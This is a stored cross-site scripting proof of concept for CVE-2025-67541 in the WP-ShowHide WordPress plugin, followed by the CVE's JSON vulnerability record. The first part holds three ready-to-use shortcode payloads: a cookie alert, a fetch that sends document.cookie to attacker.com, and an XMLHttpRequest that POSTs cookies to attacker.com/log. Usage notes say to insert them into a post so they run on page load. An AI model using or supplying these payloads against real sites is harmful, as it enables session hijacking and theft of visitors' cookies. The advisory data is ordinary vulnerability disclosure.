CVE-2025-67541

<!-- Stored XSS PoC for CVE-2025-67541 --> <!-- WP-ShowHide Plugin <= 1.05 --> <!-- PoC 1: Basic alert payload --> [wp-showhide id="test" text_to_show="<img src=x onerror=alert(document.cookie)>" text_to_hide="XSS"] <!-- PoC 2: Cookie stealing payload --> [wp-showhide id="test2" text_to_show="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>" text_to_hide="Hidden Content"] <!-- PoC 3: Session hijacking payload --> [wp-showhide id="test3" text_to_show="<img src=x onerror='var xhr=new XMLHttpRequest();xhr.open(\"POST\",\"https://attacker.com/log\",true);xhr.send(document.cookie)'>" text_to_hide="Sensitive Data"] <!-- Usage: Insert the shortcode in a WordPress post/page content --> <!-- The malicious code will be stored in the database and executed on page load -->

{"cve": {"id": "CVE-2025-67541", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:29.327", "lastModified": "2026-04-27T17:16:42.313", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Lester Chan WP-ShowHide wp-showhide allows Stored XSS.This issue affects WP-ShowHide: from n/a through <= 1.05."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wp-showhide/vulnerability/wordpress-wp-showhide-plugin-1-05-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}